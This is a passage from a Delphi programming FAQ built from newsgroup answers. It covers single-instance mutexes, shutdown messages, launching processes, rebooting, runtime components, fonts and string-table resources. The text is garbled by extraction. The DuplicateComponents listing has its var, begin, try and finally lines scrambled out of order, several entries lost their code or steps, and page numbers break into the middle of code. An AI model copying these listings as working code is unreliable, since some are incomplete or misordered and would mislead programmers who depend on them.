MutHandle := CreateMutex(Nil, False, UniqueAppStr); if MutHandle = 0 then MIError := MIError or MI_FAIL_CREATE_MUTEX; end; procedure BroadcastFocusMessage; { This is called when there is already an instance running. } var BSMRecipients: DWORD; begin { Don't flash main form } Application.ShowMainForm := False; { Post message and inform other instance to focus itself } BSMRecipients := BSM_APPLICATIONS; BroadCastSystemMessage(BSF_IGNORECURRENTTASK or BSF_POSTMESSAGE, @BSMRecipients, MessageID, 0, 0); end; Function InitInstance : Boolean; begin MutHandle := OpenMutex(MUTEX_ALL_ACCESS, False, UniqueAppStr); if MutHandle = 0 then begin { Mutex object has not yet been created, meaning that no previous } { instance has been created. } ShowWindow(Application.Handle, SW_ShowNormal); Application.ShowMainForm:=True; DoFirstInstance; result := True; end else begin BroadcastFocusMessage; result := False; end; end; initialization begin UniqueAppStr := Application.Exexname; MessageID := RegisterWindowMessage(UniqueAppStr); ShowWindow(Application.Handle, SW_Hide); Application.ShowMainForm:=FALSE; end; finalization begin if WProc <> Nil then { Restore old window procedure } SetWindowLong(Application.Handle, GWL_WNDPROC, LongInt(WProc)); end; end.
Solution 3 From: "Jerzy A.Radzimowski"
909
MutexHandle:=0; MutexHandle:=CREATEMUTEX( NIL,TRUE, UniqueKey); IF MutexHandle<>0 THEN BEGIN IF GetLastError=ERROR_ALREADY_EXISTS THEN BEGIN Result:=TRUE; CLOSEHANDLE(MutexHandle); MutexHandle:=0; END; END; END; begin CmdShow:=SW_HIDE; MessageId:=RegisterWindowMessage(zAppName); Application.Initialize; IF IsNextInstance THEN PostMessage(HWND_BROADCAST, MessageId,0,0) ELSE BEGIN Application.ShowMainForm:=FALSE; Application.CreateForm(TMainForm, MainForm); MainForm.StartTimer.Enabled:=TRUE; Application.Run; END; IF MutexHandle<>0 THEN CLOSEHANDLE(MutexHandle); end.
in MainForm you need add code for process private message PROCEDURE TMainForm.OnAppMessage( VAR M:TMSG; VAR Ret:BOOLEAN ); BEGIN IF M.Message=MessageId THEN BEGIN Ret:=TRUE; // BringWindowToTop !!!!!!!! END; END; INITIALIZATION ShowWindow(Application.Handle, SW_Hide); END.
Performing an action when Windows shuts down a Delphi app From: [email protected] (Wes Jones) I did a little investigation, and here is what seems to be happening: Normally, when you exit a Delphi application by using the system menu or by calling the Form's Close method, the following event handlers are called: 12. FormCloseQuery - the default action sets the variable CanClose=TRUE so form close will continue. 13. FormClose 14. FormDestroy If the application is active and you attempt to exit Windows, the event handlers are called in the following sequence: 5. FormCloseQuery 910
6. FormDestroy The FormClose method never seems to be called. Here is the flow of events when the user chooses to end the Windows session: 1. Windows sends out a WM_QUERYENDSESSION message to all application windows one by one and awaits a response 2. Each application window receives the message and returns a non-zero value if it is OK to terminate, or 0 if it is not OK to terminate. 3. If any application returns 0, the Windows session is not ended, otherwise, Windows sends a WM_ENDSESSION message to all application windows 4. Each Application Window responds with a TRUE value indicating that Windows can terminate any time after all applications have returned from processing this message. This appears to be the location of the Delphi problem: Delphi applications seem to return TRUE and the FormDestroy method is called immediately, bypassing the FormClose method. 5. Windows exits One solution is to respond to the WM_QUERYENDSESSION message in the Delphi application and prevent Windows from exiting by returning a 0 result. This can't be done in the FormCloseQuery method because there is no way to determine the source of the request (it can either be the result of the WM_QUERYENDSESSION message or the user just simply closing the application). Another solution is to respond to the WM_QUERYENDSESSION message by calling the same cleanup procedure you call in the FormClose method. Example: unit Unit1; interface uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs; type TForm1 = class(TForm) procedure FormClose(Sender: TObject; var Action: TCloseAction); private {---------------------------------------------------------------} { Custom procedure to respond to the WM_QUERYENDSESSION message } {---------------------------------------------------------------} procedure WMQueryEndSession( var Message: TWMQueryEndSession); message WM_QUERYENDSESSION; public { Public declarations } end; var Form1 : TForm1; implementation {$R *.DFM} {---------------------------------------------------------------} { Custom procedure to respond to the WM_QUERYENDSESSION message } { The application will only receive this message in the event } { that Windows is requesing to exit. } {---------------------------------------------------------------} procedure TForm1.WMQueryEndSession(var Message: TWMQueryEndSession); begin inherited; { let the inherited message handler respond first } {--------------------------------------------------------------------} { at this point, you can either prevent windows from closing... } { Message.Result:=0; } {---------------------------or---------------------------------------} { just call the same cleanup procedure that you call in FormClose... }
911
{ MyCleanUpProcedure; } {--------------------------------------------------------------------} end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin MyCleanUpProcedure; end; end.
I have not tested this code, but I think it will work correctly. Let me know how it turns out!
Getting DOS Variables From: "Bob Findley"
GetModuleFileName Here is an answer for you. I have used this on many occasions and it works well. procedure TForm1.Button1Click(Sender: TObject); var szFileName : array[0..49] of char; szModuleName : array[0..19] of char; iSize : integer; begin StrPCopy(szModuleName, 'NameOfModule'); iSize := GetModuleFileName(GetModuleHandle(szModuleName),szFileName, SizeOf(szFileName)); if iSize > 0 then ShowMessage('Full path name is : ' + StrPas(szFileName)) else ShowMessage('Path of module not found'); end;
Setting time system with Delphi [email protected] (Abel du Plessis) "Vitor Martins"
with Delphi 2.0
This works for us: //****************************************************************************** //Public function SetPCSystemTime changes the system date and time. //Parameter(s): tDati The new date and time //Returns: True if successful // False if not //****************************************************************************** function SetPCSystemTime(tDati: TDateTime): Boolean;
912
var tSetDati: TDateTime; vDatiBias: Variant; tTZI: TTimeZoneInformation; tST: TSystemTime; begin GetTimeZoneInformation(tTZI); vDatiBias := tTZI.Bias / 1440; tSetDati := tDati + vDatiBias; with tST do begin wYear := StrToInt(FormatDateTime('yyyy', tSetDati)); wMonth := StrToInt(FormatDateTime('mm', tSetDati)); wDay := StrToInt(FormatDateTime('dd', tSetDati)); wHour := StrToInt(FormatDateTime('hh', tSetDati)); wMinute := StrToInt(FormatDateTime('nn', tSetDati)); wSecond := StrToInt(FormatDateTime('ss', tSetDati)); wMilliseconds := 0; end; SetPCSystemTime := SetSystemTime(tST); end;
How do I execute a program and have my code wait until it is finished? From: Noel Rice
Here is the 32 bit version: function WinExecAndWait32(FileName:String; Visibility : integer):integer; var zAppName:array[0..512] of char; zCurDir:array[0..255] of char;
913
WorkDir:String; StartupInfo:TStartupInfo; ProcessInfo:TProcessInformation; begin StrPCopy(zAppName,FileName); GetDir(0,WorkDir); StrPCopy(zCurDir,WorkDir); FillChar(StartupInfo,Sizeof(StartupInfo),#0); StartupInfo.cb := Sizeof(StartupInfo); StartupInfo.dwFlags := STARTF_USESHOWWINDOW; StartupInfo.wShowWindow := Visibility; if not CreateProcess(nil, zAppName, { pointer to command line string } nil, { pointer to process security attributes } nil, { pointer to thread security attributes } false, { handle inheritance flag } CREATE_NEW_CONSOLE or { creation flags } NORMAL_PRIORITY_CLASS, nil, { pointer to new environment block } nil, { pointer to current directory name } StartupInfo, { pointer to STARTUPINFO } ProcessInfo) then Result := -1 { pointer to PROCESS_INF } else begin WaitforSingleObject(ProcessInfo.hProcess,INFINITE); GetExitCodeProcess(ProcessInfo.hProcess,Result); end; end;
{Thanks to Pat Ritchey for these functions.} { This code came from Lloyd's help file! Ldelphi.zip }
ExtractAssIcon and paint into Timage? From: "Joe C. Hecht (Borland)"
-----------------------------------------------------------------------------
914
ExitWindows Does anyone know how to access the function ExitWindows in User.exe. I would like to use this function to restart windows without restarting the computer.
[Mike O'Hanlon, [email protected]] Here are examples of how to restart Windows and also how to reboot the system: procedure TMainForm.RestartWindowsBtnClick(Sender: TObject); begin if not ExitWindows(EW_RestartWindows, 0) then ShowMessage('An application refused to terminate'); end;
procedure TMainForm.RebootSystemBtnClick(Sender: TObject); begin if not ExitWindows(EW_RebootSystem, 0) then ShowMessage('An application refused to terminate'); end;
The ExitWindows function has always been wrongly documented - Microsoft got it wrong in their documents and every one else followed along with the incorrect info. I believe the correct definition is: function ExitWindows (dwReturnCode: Longint; Reserved: Word): Bool;
Power saver mode From: [email protected] (AlanGLLoyd) Turn monitor off : SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
Turn monitor on : SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
Please email me and tell me if you liked this page. Last modified 03/12/00 12:05:48
915
Components 142. 143. 144. 145. 146. 147. 148. 149. 150. 151. 152. 153. 154. 155. 156. 157.
Array of components... Array of Edit boxes? how do i getting the component index at runtime How do I create a component at run-time? Create an event during Runtime? Setting read-only columns in StringGrid BMPs in a StringGrid TBitBtn control class question (change bitmap at runtime) OwnerDraw in TStatusBar Duplicating components and their children at runtime Splitter Bar How to Add Controls to TTabbedNotebook & TNotebook Saving and Loading aTstringgrid How do I synchronize two scroll boxes on different panels? Delayed scrolling / delayed OnChange? Unselectable Tab
Array of components... From: Lode Deleu <[email protected]> > Is it possible to create an array of components? I'm using a LED component for a status display, and I'd like to be able to access it via:
First of all, you'l need to declare the array: LED : array[1..10] of TLed;
(TLed being your led component type)
if you would create the LED components dynamically, you could do this during a loop like this : for counter := 1 to 10 do begin LED[counter]:= TLED.Create; LED[counter].top := ... LED[counter].Left := ... LED[counter].Parent := Mainform; end;
{or something alike}
If the components already exist on your form (visually designed), you could simply assign them to the array like this: leds := 0; for counter := 0 to Form.Componentcount do begin if (components[counter] is TLED) then begin inc(leds); LED[leds] := TLED(components[counter]); end end;
This however leaves you with a random array of LED's, I suggest you give each LED a tag in the order they should be in the array, and then fill the array using the tag : for counter := 0 to Form.Componentcount do
916
begin if (components[counter] is TLED) then begin LED[Component[counter].tag] := TLED(components[counter]); end end;
if you need a two dimensional array, you'll need to find another trick to store the index, I've used the hint property a number of times to store additional information.
Array of Edit boxes? From: "Volker Schneider"
{Notes: To find out what additional properties to set, have a look into ObjectInspector and/or view the Form in TextMode (RightClick Form, choose TextMode)
how do i getting the component index at runtime From: [email protected] (Brad Aisa) In article <[email protected]>, [email protected] (Claudio Tereso) wrote: >i need to find the component index in the parent's order. >i tried to modify prjexp.dll but with success? >does any one have an idea?
Here is a function that does this. It gets the parent control, and then iterates through its children, looking for a match. This has been tested and works. { function to return index order of a component in its parent's component collection; returns -1 if not found or no parent } function IndexInParent(vControl: TControl): integer; var ParentControl: TWinControl; begin {we "cousin" cast to get at the protected Parent property in base class } ParentControl := TForm(vControl.Parent); if (ParentControl <> nil) then begin for Result := 0 to ParentControl.ControlCount - 1 do begin if (ParentControl.Controls[Result] = vControl) then Exit; end;
917
end; { if we make it here, then wasn't found, or didn't have parent} Result := -1; end;
How do I create a component at run-time? From: [email protected] (Mark Vaughan) Var MyButton
:
TButton;
MyButton := TButton.Create(MyForm); // MyForm now "owns" MyButton with MyButton do BEGIN Parent := MyForm; // here MyForm is also the parent of MyButton height := 32; width := 128; caption := 'Here I Am!'; left := (MyForm.ClientWidth - width) div 2; top := (MyForm.ClientHeight - height) div 2; END;
Borland also publishes one of their TechInfo sheets on this subject. Look for ti2938.asc Creating Dynamic Components at Runtime which you can get from Borland's web site or ftp site.
Create an event during Runtime? From: "Hustin Olivier"
Setting read-only columns in StringGrid From: Mark Pritchard
BMPs in a StringGrid From: "James D. Rofkar"
In your StringGrid's OnDrawCell event handler, place some code that resembles:
918
with StringGrid1.Canvas do begin {...} Draw(Rect.Left, Rect.Top, Image1.Picture.Graphic); {...} end;
Using the Draw() or StretchDraw() method of TCanvas should do the trick. BTW, Image1 above is a TImage with a bitmap already loaded into it.
TBitBtn control class question (change bitmap at runtime) "David Zajac"
// It'll be zero when the program starts
procedure TForm1.Button1Click(Sender: TObject); var Image: TBitmap; begin // Changes the bitmap in BitBtn1 Image:= TBitmap.Create; if n < ImageList1.Count then ImageList1.GetBitmap(n, Image); {end if} BitBtn1.Glyph.Assign(Image) property
// NOTE: Assign is used to change an object
inc(n,2); // Button Bitmaps hold two images! if n > ImageList1.Count then n:= 0; {end if} Image.Free; end; procedure TForm1.Button2Click(Sender: TObject); begin // adds a new button bitmap to ImageList1 if OpenDialog1.Execute then ImageList1.FileLoad(rtBitMap,OpenDialog1.FileName,clBtnFace); label1.Caption:= 'ImageCount = ' + IntToStr(ImageList1.Count); end;
OwnerDraw in TStatusBar From: Chris Jobson
Just write an OnDrawPanel handler for the StatusBar something like procedure TForm1.StatusBar1DrawPanel(StatusBar: TStatusBar; Panel: TStatusPanel; const Rect: TRect); begin with statusbar1.Canvas do begin Brush.Color := clRed; FillRect(Rect); TextOut(Rect.Left, Rect.Top, 'Panel '+IntToStr(Panel.Index)); end; end;
Duplicating components and their children at runtime Gary McGhee
TUniqueReader = Class(TReader) LastRead: TComponent; procedure ComponentRead(Component: TComponent); procedure SetNameUnique( Reader: TReader; Component: TComponent; var Name: string ); end;
implementation procedure TUniqueReader.ComponentRead( Component: TComponent ); begin LastRead := Component; end; procedure TUniqueReader.SetNameUnique( // sets the name of the read component to something like "Panel2" if "Panel1" already exists Reader: TReader; Component: TComponent; // component being read
920
var Name: string
// Name to use and modify
); var i: Integer; tempname: string; begin
end;
i := 0; tempname := Name; while Component.Owner.FindComponent(Name) <> nil do begin Inc(i); Name := Format('%s%d', [tempname, i]); end;
function DuplicateComponents( AComponent: TComponent // original component ): TComponent; // returns created new component procedure RegisterComponentClasses( AComponent: TComponent ); var i : integer; begin RegisterClass(TPersistentClass(AComponent.ClassType)); if AComponent is TWinControl then if TWinControl(AComponent).ControlCount > 0 then for i := 0 to (TWinControl(AComponent).ControlCount-1) do RegisterComponentClasses(TWinControl(AComponent).Controls[i]); end; var
begin
Stream: TMemoryStream; UniqueReader: TUniqueReader; Writer: TWriter; result := nil; UniqueReader := nil; Writer := nil; try Stream := TMemoryStream.Create; RegisterComponentClasses(AComponent); try
finally end;
Writer := TWriter.Create(Stream, 4096); Writer.Root := AComponent.Owner; Writer.WriteSignature; Writer.WriteComponent(AComponent); Writer.WriteListEnd; Writer.Free;
Stream.Position := 0; try UniqueReader := TUniqueReader.Create(Stream, 4096); // create reader
// should probably move these routines into
theconstructor UniqueReader.OnSetName := UniqueReader.SetNameUnique; UniqueReader.LastRead := nil; if AComponent is TWinControl then
921
UniqueReader.ReadComponents( // read in components and sub-components TWinControl(AComponent).Owner, TWinControl(AComponent).Parent, UniqueReader.ComponentRead else
)
UniqueReader.ReadComponents( // read in components AComponent.Owner, nil, UniqueReader.ComponentRead ); result := UniqueReader.LastRead; finally UniqueReader.Free; finally
end; Stream.Free;
end;
end;
Splitter Bar From: [email protected] (Adam Redgewell) Bart Mertens
Assuming your treeview is meant to be on the left and the memo on the right, you need to do the following: · Set the Align property for the TreeView to alLeft. · Cut (Ctrl-X) the memo component from your form. · Add a Panel component and set its Align property to alClient. · Click inside the panel and add another Panel component. · Set its width to about 8, and its Align property to alLeft. · Paste your memo component back into Panel1 and set its Align property to alClient. Panel2 is the divider strip: you now need to add the procedures shown below. Your code will look something like the following: type TForm1 = class(TForm) TreeView1: TTreeview; Panel1: TPanel; Panel2: TPanel; Memo1: TMemo; procedure Panel1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); procedure Panel1MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); procedure Panel1MouseMove(Sender: TObject; Shift:TShiftState; X, Y: Integer); private
922
Resizing: Boolean; public ... end; procedure TForm1.Panel2MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); begin Resizing:=true; end; procedure TForm1.Panel2MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); begin Resizing:=false; end; procedure TForm1.Panel2MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); begin if Resizing then begin TreeView1.Width:=TreeView1.Width+X; // Prevent occasional strange repaint errors on resize: Panel1.Invalidate; end; end;
This code can be adapted to split the screen horizontally - you get the idea...
How to Add Controls to TTabbedNotebook & TNotebook From: [email protected] (Mark R. Johnson) I have seen the question "how do you add controls to TTabbedNotebook or TNotebook at run-time?" several times here and elsewhere. Well, after finally getting a few spare minutes to check into it, I have stumbled across the solution: TTabbedNotebook Adding controls to a TTabbedNotebook during design time is a pretty simple task. All you need to do is set the PageIndex or ActivePage property to the page you want to add controls to, and begin dropping the controls onto the TTabbedNotebook. Adding controls to a TTabbedNotebook during run-time is also very simple. However, there is no mention what-so-ever in the Delphi documentation on how to do this. To make matters worse, the TTabbedNotebook source code is not included when you purchase the Delphi VCL source. Thus, we are left with a mystery. Fortunately, I have stumbled across the solution. The first step to solving this mystery was to take a look at \DELPHI\DOC\TABNOTBK.INT, the interface section of the TABNOTBK.PAS unit where TTabbedNotebook is defined. A quick examination will reveal the TTabPage class, which is described as holding the controls for a given page of the TTabbedNotebook. The second clue to solving this case comes from observation that the Pages property of TTabbedNotebook has a type of TStrings. It just so happens that Delphi's TStrings and TStringList classes provide both Strings and Objects property pairs. In other words, for every string in TStrings, there is a corresponding Objects pointer. In many cases, this extra pointer is ignored, but if you're like me, you're thinking "Ah-hah!"
923
After a quick little test in code, sure enough, the Objects property points to a TTabPage instance -- the one that corresponds to the page name in the Strings property. Bingo! Just what we were looking for. Now see what we can do: { This procedure adds places a button at a random location on the } { current page of the given TTabbedNotebook. } procedure AddButton(tabNotebook : TTabbedNotebook); var tabpage : TTabPage; button : TButton; begin with tabNotebook do tabpage := TTabPage(Pages.Objects[PageIndex]); button := TButton.Create(tabpage); try with button do begin Parent := tabpage; Left := Random(tabpage.ClientWidth - Width); Top := Random(tabpage.ClientHeight - Height); end; except button.Free; end; end;
TNotebook The process of adding controls to a TNotebook is almost exactly the same as that for TTabbedNotebook -- only the page class type is TPage instead of TTabPage. However, if you look in DELPHI\DOC\EXTCTRLS.INT for the type declaration for TPage, you won't find it. For some reason, Borland did not include the TPage definition in the DOC files that shipped with Delphi. The TPage declaration *IS* in the EXTCTRLS.PAS unit that you get when you order the VCL source, right where it should be in the interface section of the unit. Here's the TPage information they left out: TPage = class(TCustomControl) private procedure WMNCHitTest(var Message: TWMNCHitTest); message WM_NCHITTEST; protected procedure ReadState(Reader: TReader); override; procedure Paint; override; public constructor Create(AOwner: TComponent); override; published property Caption; property Height stored False; property TabOrder stored False; property Visible stored False; property Width stored False; end;
Now, to make the above procedure work for adding a button to a TNotebook, all we have to do is replace "TTabbedNotebook" with "TNotebook" and "TTabPage" with "TPage", as follows: { This procedure adds places a button at a random location on the } { current page of the given TNotebook. } procedure AddButton(Notebook1 : TNotebook); var page : TPage; button : TButton;
924
begin with Notebook1 do page := TPage(Pages.Objects[PageIndex]); button := TButton.Create(page); try with button do begin Parent := page; Left := Random(page.ClientWidth - Width); Top := Random(page.ClientHeight - Height); end; except button.Free; end; end;
That's all there is to it!
Saving and Loading aTstringgrid From: "Eric Lawrence"
925
How do I synchronize two scroll boxes on different panels? By handle OnScroll event ,follow code can synchronize two scroll boxes on different panels: (You have two scrollboxes in TMainForm:ScrollBar1 and ScrollBar2) procedure TMainForm.ScrollBar1Scroll(Sender: TObject; ScrollCode: TScrollCode; var ScrollPos: Integer); begin ScrollBar2.Position:=ScrollPos; end; procedure TMainForm.ScrollBar2Scroll(Sender: TObject; ScrollCode: TScrollCode; var ScrollPos: Integer); begin ScrollBar1.Position := ScrollPos; end;
Delayed scrolling / delayed OnChange? Erik Sperling Johansen >[email protected]> Stefan Hoffmeister wrote: If the user keeps either key pressed and the change of the item (ComboBox.OnChange) takes a long(ish) time an annoying delay will be noticed. As a "work around" I would like to react to the change of the ItemIndex only after a short period of time, e.g. 100 ms.
Here's an example. Written in D2, but technique should work OK in D1 too. Just a simple form with a combo and a label. You probably should consider using Yield in addition to the call to Application.ProcessMessages, to avoid slowing down the PC when the forms message queue is empty. unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; const // Just some message constant PM_COMBOCHANGE = WM_USER + 8001; // 500 ms CWantedDelay = 500; type TForm1 = class(TForm) ComboBox1: TComboBox; Label1: TLabel; procedure ComboBox1Change(Sender: TObject); private procedure PMComboChange(var message : TMessage); message PM_COMBOCHANGE; public end; var
926
Form1: TForm1; implementation {$R *.DFM} procedure TForm1.ComboBox1Change(Sender: TObject); begin PostMessage(Handle, PM_COMBOCHANGE, 0, 0); end; procedure TForm1.PMComboChange(var message : TMessage); const InProc : BOOLEAN = FALSE; StartTick : LONGINT = 0; begin if InProc then begin // Update the starting time for the delay StartTick := GetTickCount; end else begin // We're in the loop InProc := TRUE; // Initial starting time StartTick := GetTickCount; // Wait until wanted time has elapsed. // If proc gets called again, starting time will change while GetTickCount - StartTick < CWantedDelay do Application.ProcessMessages; // Increment a counter, just for illustration of when to do the actual OnChange work Label1.Caption := IntToStr ( StrToIntDef ( Label1.Caption, 0 ) + 1); // We're finished with the loop InProc := FALSE; end; end; end.
Unselectable Tab Is there any way at all of making a tab on a tabbed notebook unselectable? i.e not allowing the user to click and see its contents?
[Mike O'Hanlon, [email protected]] Yes, this is possible. The simplest way to do it is to remove the relevant page of the TabbedNotebook with something like: with TabbedNotebook do Pages.Delete(PageIndex);
and retrieve the deleted page (if necessary) by reloading the Form. Disabling (rather than deleting) is a bit trickier because you have to set up a loop in the Form's Create procedure to assign names to the tabs of the TabbedNotebook. Something like: J := 0; with TabbedNotebook do for I := 0 to ComponentCount - 1 do
927
if Components[I].ClassName = 'TTabButton' then begin Components[I].Name := ValidIdentifier(TTabbedNotebook( Components[I].Owner).Pages[J]) + 'Tab'; Inc(J); end;
where ValidIdentifier is a function which returns a valid Pascal identifier derived from the Tab string: function ValidIdentifier (theString: str63): str63; {----------------------------------------------------------} { Turns the supplied string into a valid Pascal identifier } { by removing all invalid characters, and prefixing with } { an underscore if the first character is numeric. } {----------------------------------------------------------} var I, Len: Integer; begin Len := Length(theString); for I := Len downto 1 do if not (theString[I] in LettersUnderscoreAndDigits) then Delete(theString, I, 1); if not (theString[1] in LettersAndUnderscore) then theString := '_' + theString; ValidIdentifier := theString; end; {ValidIdentifier}
A Tab of the TabbedNotebook may then be disabled with with TabbedNotebook do begin TabIdent := ValidIdentifier(Pages[PageIndex]) + 'Tab'; TControl(FindComponent(TabIdent)).Enabled := False; { Switch to the first enabled Tab: } for I := 0 to Pages.Count - 1 do begin TabIdent := ValidIdentifier(Pages[I]) + 'Tab'; if TControl(FindComponent(TabIdent)).Enabled then begin PageIndex := I; Exit; end; end; {for} end; {with TabbedNotebook}
and you could re-enable all tabs with: with TabbedNotebook do for I := 0 to Pages.Count - 1 do begin TabIdent := ValidIdentifier(Pages[I]) + 'Tab'; if not TControl(FindComponent(TabIdent)).Enabled then TControl(FindComponent(TabIdent)).Enabled := True; end; {for}
928
FONTS 158. 159. 160. 161. 162. 163.
How can my app use MY FONTS? not user's Include Font as a Resource in *.EXEfonts1 Font & Tregistry Store Fontstyle in INI Determining which font (Large or Small) is in use Font Sites
How can my app use MY FONTS? not user's From: [email protected] (Brad Choate) Can someone please tell me the neatest way to make sure my app uses fonts that I can provide, rather than the nearest font the user has installed on their system? I have tried copying a #.ttf file into the users windows\system directory but the app still can't pick it up.
The following is some Delphi 1 code that I have used for successfully installing dynamic fonts that are only loaded while the application is running. You can place the font file(s) within the application directory. It will be installed when the form loads and unloaded once the form is destroyed. You may need to modify the code to work with Delphi 2 since it calls various Windows API calls that may or may not have changed. Where you see "..." in the code, that is just to identify that other code can be placed there. Of course, substitute "MYFONT" for the name of your font file. type TForm1=class( TForm ) procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); ... private { Private declarations } bLoadedFont: boolean; public { Public declarations } end; procedure TForm1.FormCreate(Sender: TObject); var sAppDir: string; sFontRes: string; begin sAppDir := Application.ExeName; sAppDir := copy( sAppDir, 1, rpos( '\', sAppDir ) ); sFontRes := sAppDir + 'MYFONT.FOT'; if not FileExists( sFontRes ) then begin sFontRes := sFontRes + #0; sFont := sAppDir + 'MYFONT.TTF' + #0; CreateScalableFontResource( 0, @sFontRes[ 1 ], @sFont[ 1 ], nil ); end; sFontRes := sAppDir + 'MYFONT.FOT'; if FileExists( sFontRes ) then begin
929
sFontRes := sFontRes + #0; if AddFontResource( @sFontRes[ 1 ] ) = 0 then bLoadedFont := false else begin bLoadedFont := true; SendMessage( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); end; end; ... end; procedure TForm1.FormDestroy(Sender: TObject); var sFontRes: string; begin if bLoadedFont then begin sFontRes := sAppDir + 'MYFONT.FOT' + #0; RemoveFontResource( @sFontRes[ 1 ] ); SendMessage( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); end; end;
From: Paul Munn
The resulting FormDestroy code is as follows: var sFontRes, sAppDir: string; begin {...other code...} if bLoadedFont then
930
begin sAppDir := extractfilepath(Application.ExeName); sFontRes := sAppDir + 'MYFONT.TTF' + #0; RemoveFontResource( @sFontRes[ 1 ] ); SendMessage( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); end; {...other code...} end; {FormDestroy}
To simplify these, I have created a simple function which can do both of these tasks. It returns a boolean which says whether or not the loading or unloading of the font was successful. {1998-01-16 Font loading and unloading function.} function LoadFont(sFontFileName: string; bLoadIt: boolean): boolean; var sFont, sAppDir, sFontRes: string; begin result := TRUE; if bLoadIt then begin {Load the font.} if FileExists( sFontFileName ) then begin sFontRes := sFontFileName + #0; if AddFontResource( @sFontRes[ 1 ] ) = 0 then result := FALSE else SendMessage( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); end; end else begin {Unload the font.} sFontRes := sFontFileName + #0; result := RemoveFontResource( @sFontRes[1] ); SendMessage( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); end; end; {LoadFont}
Include Font as a Resource in *.EXE From: "Steve Harman"
The first two parameters can be whatever you want. They get used in your program later. 16. Then, use the BRCC32.EXE command line compiler that ships with Delphi to create a *.res file. If your file in step 1 was MyFont.rc, the command from the DOS prompt would be:
931
BRCC32 MyFont
The program will append the .rc to the input, and create a file with the same name except it appends .res: MyFont.res 17. In your program, add a compiler directive to include your newly created file: {$R MyFont.res}
This can go right after the default {$R *.DFM} in the implementation section. 18. Add a procedure to create a file from the resource, then make the Font available for use. Example: procedure TForm1.FormCreate(Sender: TObject); var Res : TResourceStream; begin Res := TResourceStream.Create(hInstance, 'MY_FONT', Pchar('ANYOL1')); Res.SavetoFile('Bauhs93.ttf'); Res.Free; AddFontResource(PChar('Bauhs93.ttf')); SendMessage(HWND_BROADCAST,WM_FONTCHANGE,0,0); end;
19. You can now assign the font to whatever you wish: procedure TForm1.Button1Click(Sender: TObject); begin Button1.Font.Name := 'Bauhaus 93'; end;
Caveats: The above example provides for no error checking whatsoever. :-) Notice that the File name is NOT the same as the Font name. It's assumed that you know the font name associated with the file name. You can determine this by double clicking on the file name in the explorer window. I would recommend placing your font file in the C:\WINDOWS\FONTS folder. It's easier to find them later. Your newly installed font can be removed programatically, assuming the font is not in use anywhere: procedure TForm1.FormDestroy(Sender: TObject); begin RemoveFontResource(PChar("Bauhs93.ttf")) SendMessage(HWND_BROADCAST,WM_FONTCHANGE,0,0); end;
Check the Win32 help for further details on the AddFontResource and RemoveFontResource.
Font & Tregistry See here
Store Fontstyle in INI See here
932
Resource File 164. 165. 166. 167.
String Tables How To Include JPEG's In Your Executable (Delphi 3) resource1 [Q] Resource files (*.res) / scripts (*.rc)<> Loading bitmaps from a resource DLL into a TImage component.resource3
String Tables From: "Joe C. Hecht"
The file starts with the key word stringtable denoting that a string table resource will follow. Enclosed in the curly braces are the strings. Each string is listed by it's index identifier, followed by the actual string data in quotes. Each string may contain up to 255 characters. If you need to use a non-standard character, insert the character as a backslash character followed by the octal number of the character you wish to insert. The only exception is when you want to embed a backslash character, you will need to use two backslashes. Here are two examples: 933
1, "A two\012line string" 2, "c:\\Borland\\Delphi"
The Index numbers that you use are not important to the resource compiler. You should keep in mind that string tables are loaded into memory in 16 string segments. To compile the .rc file to a .res file that can be linked with your application, simply type on the dos command line the full path to the resource compiler, and the full path to the name of the .rc file to compile. Here is an example: c:\Delphi\Bin\brcc32.exe c:\Delphi\strtbl32.rc
When the compiler is finished, you should have a new file with the same name as the .rc file you've compiled, only with an extension of ".res". You can link the resource file with your application simply by adding the following statement to your application's code, substituting the name of your resource file: {$R ResFileName.RES}
Once the .res file is linked to your program, you can load the resource from any module, even if you specified the $R directive in the implementation section of a different unit. Here is an example of using the Windows API function LoadString(), to load the third string contained in a string resource into a character array: if LoadString(hInstance, 3, @a, sizeof(a)) <> 0 then ....
In this example, the LoadString() function accepts the hInstance of the module containing the resource, the string index to load, the address of the character array to load the string to, and the size of the character array. The LoadString function returns the number of characters that where actually loaded not including the null terminator. Be aware that this can differ from the number of bytes loaded when using unicode. Here is a complete example of creating an international application with Borland's Delphi. The application is compatible with both 16 and 32 bit versions of Delphi. To do this, you will need to create two identical .rc files, one for the 16 bit version, and the other for the 32 bit version, since the resources needed for each platform are different. In this example. we will create one file named STRTBL16.rc and another called STRTBL32.rc. Compile the STRTBL16.rc file using the BRCC.exe compiler found in Delphi 1.0's bin directory, and compile STRTBL32.rc using the BRCC32.exe compiler found in Delphi 2.0's bin directory. We have taken into account the language that Windows is currently using at runtime. The method for getting this information differs under 16 and 32 bit Windows. To make the code more consistant, we have borrowed the language constants from the Windows.pas file used in 32 bit versions of Delphi. {$IFDEF WIN32} {$R STRTBL32.RES} {$ELSE} {$R STRTBL16.RES} const LANG_ENGLISH = $09; const LANG_SPANISH = $0a; const LANG_SWEDISH = $1d; {$ENDIF} function GetLanguage : word; {$IFDEF WIN32} {$ELSE} var s : string; i : integer; {$ENDIF} begin {$IFDEF WIN32}
934
